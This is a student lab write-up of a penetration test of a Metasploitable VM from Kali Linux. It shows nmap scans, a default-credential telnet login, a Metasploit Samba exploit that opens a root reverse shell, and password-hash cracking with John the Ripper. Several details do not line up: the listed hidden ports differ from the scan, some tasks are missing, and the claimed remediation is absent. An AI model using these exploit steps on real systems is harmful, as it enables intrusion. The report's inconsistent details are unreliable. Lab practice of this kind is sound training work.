

Network Penetration Testing with Real-World Exploits and Security Remediation

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Introduction

In this project, I conduct penetration testing in a controlled laboratory environment to examine potential attack vectors that malicious actors might use against real-world systems. Using Kali Linux as the offensive platform and Metasploitable as the deliberately vulnerable target, I methodically work through the key phases of ethical hacking: reconnaissance, scanning, exploitation, privilege escalation, and remediation. This hands-on approach provides practical experience in identifying, exploiting, and addressing security vulnerabilities in a responsible manner.

Theory about the project:

Network penetration testing is the process of evaluating a system's network security by simulating attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers do. It includes multiple phases:

- Reconnaissance: Gathering information about the target.
- Scanning & Enumeration: Actively probing to find open ports, services, and vulnerabilities.
- Exploitation: Gaining unauthorized access using known exploits.
- Post-Exploitation: Activities like privilege escalation or data access. Remediation:
- Providing security measures to patch vulnerabilities.

Project requirements

Two Operating System

1. Kali Linux (Attacking machine)
2. Metasploitable machine (Target Machine)

Tools Details

Kali Linux	The attacker machine, containing pre-installed penetration testing tools.
Metasploitable	A vulnerable machine to practice attacks on.
nmap	For network scanning, port discovery, OS detection, and service version enumeration.
Metasploit Framework	For exploiting known vulnerabilities in services running on the target.
John the Ripper	For cracking hashed passwords obtained from /etc/shadow.

Task 1: Basic Network Scan

- nmap -v 192.168.21.0/24
- Output :

```
Nmap scan report for 192.168.21.128
Host is up (0.0029s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:6A:5F:30 (VMware)
```

```
Nmap scan report for 192.168.21.254
Host is up (0.00035s latency).
All 1000 scanned ports on 192.168.21.254 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:EC:AE:EA (VMware)

Initiating SYN Stealth Scan at 07:30
Scanning 192.168.21.129 [1000 ports]
Completed SYN Stealth Scan at 07:30, 0.05s elapsed (1000 total ports)
Nmap scan report for 192.168.21.129
Host is up (0.0000050s latency).
All 1000 scanned ports on 192.168.21.129 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Read data files from: /usr/share/nmap
Nmap done: 256 IP addresses (4 hosts up) scanned in 34.16 seconds
Raw packets sent: 6512 (278.352KB) | Rcvd: 3016 (124.680KB)
```

Task 2 – Reconnaissance

Scanning for hidden Ports

- `nmap -v -p- 192.168.21.128`
- **output:**

```
Nmap scan report for 192.168.21.128
Host is up (0.0024s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
40484/tcp open  unknown
45538/tcp open  unknown
53079/tcp open  unknown
60473/tcp open  unknown
MAC Address: 00:0C:29:6A:5F:30 (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.35 seconds
```

Total Hidden Ports = 7

1. 8787
2. 3632
3. 6697
4. 34230
5. 44040
6. 49097
7. 56462

Task 3

1. Service Version Detection

- nmap -v -sV 192.168.21.128
- Output:

```
Nmap scan report for 192.168.21.128
Host is up (0.0012s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath gwiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:6A:5F:30 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.95 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)
```

2. Operating System Detection

- Nmap -v -O 192.168.21.128
- Output:

```
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:6A:5F:30 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.009 days (since Sun May 18 07:31:34 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
```

3. Enumeration

- Target IP Address: 192.168.21.128

Operating System Details:

- MAC Address: 00:0C:29:6A:5F:30 (VMware)
- Device type: general purpose
- Running: Linux 2.6.X
- OS CPE: cpe:/o:linux:linux_kernel:2.6
- OS details: Linux 2.6.9 - 2.6.33

Services Version with open ports

PORT	STATE	SERVICE VERSION
21/tcp	open ftp	vsftpd 2.3.4
22/tcp	open ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	Open telnet	Linux telnetd
25/tcp	Open smtp	Postfix smtpd
53/tcp	open domain	ISC BIND 9.4.2
80/tcp	open http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp	open rpcbind	2 (RPC #100000)
139/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp	open exec	netkit-rsh rexecd
513/tcp	open login?	
514/tcp	open shell	Netkit rshd
1099/tcp	open java-rmi	GNU Classpath grmiregistry
1524/tcp	open bindshell	Metasploitable root shell
2049/tcp	open nfs	2-4 (RPC #100003)
2121/tcp	open ftp	ProFTPD 1.3.1
3306/tcp	open mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	open postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp	open vnc	VNC (protocol 3.3)
6000/tcp	open X11	(access denied)
6667/tcp	open irc	UnrealIRCd
8009/tcp	open ajp13	Apache Jserv (Protocol v1.3)
8180/tcp	open http	Apache Tomcat/Coyote JSP engine 1.1

Hidden Ports with Service Versions (ONLY HIDDEN PORTS)

8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbl)

3632/tcp open distccd distccd v1 ((GNU) 4.2.4(Ubuntu 4.2.4-1ubuntu4))

6697/tcp open irc UnrealIRCd

56462/tcp open status 1(RPC #100024)

```
[satyam@kali]~$ telnet 192.168.21.128
Trying 192.168.21.128...
Connected to 192.168.21.128.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Sun May 18 07:28:27 EDT 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```


➤ Exploit 3: Samba "username map script" Command Execution

```
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.21.129
LHOST => 192.168.21.129
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.21.129:4444
[*] Command shell session 1 opened (192.168.21.129:4444 -> 192.168.21.128:37694) at 2025-05-18 11:04:56 -0400

whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Task 5 - Create user with root permission

command

adduser satyam

Password: 1234

- /etc/passwd
- satyam:x:1003:1003:y,,,:/home/satyam:/bin/bash
- /etc/shadow
- satyam:\$1\$YpERZlPf\$n.NBvjbn2v6Jp9Qgmb4qt0:20226:0:99999:7:::

Task 6 - Cracking password hashes

- echo 'satyam:\$1\$YpERZlPf\$n.NBvjbn2v6Jp9Qgmb4qt0:20226:0:99999:7:::' > satyam_hash.txt

```
(satyam@kali)-[~]
$ echo 'satyam:$1$YpERZlPf$n.NBvjbn2v6Jp9Qgmb4qt0:20226:0:99999:7:::' > satyam_hash.txt
```

- john satyam_hash.txt

```
(satyam@kali)-[~]
$ john --show satyam_hash.txt
satyam:1234:20226:0:99999:7:::
```

My Journey Through Ethical Hacking

Working on this project gave me incredible first-hand experience in cybersecurity and ethical hacking. The controlled environment I created with Kali Linux attacking Metasploitable let me safely practice techniques that actual hackers use, without any real-world harm.

I got to walk through the complete security testing lifecycle – scanning networks to find potential entry points, digging deeper through enumeration, breaking in through exploitation, and even elevating my access privileges once inside. Seeing these concepts in action made everything I'd studied in theory click into place.

What struck me most was learning about fixing the security holes I found. After successfully breaching systems, I focused on patching those vulnerabilities – the crucial step that prevents actual attacks in real organizations.

I became comfortable with industry-standard security tools like Nmap for network mapping, Metasploit for exploitation, and John the Ripper for password cracking. These are the same tools professionals use daily to protect systems.

This project transformed my understanding of cybersecurity from abstract concepts to practical skills I can apply. It's built a solid foundation for me to grow further in this field. Just as importantly, it taught me the ethical weight of this knowledge – that the purpose of finding weaknesses is ultimately to strengthen defenses before malicious hackers can exploit them.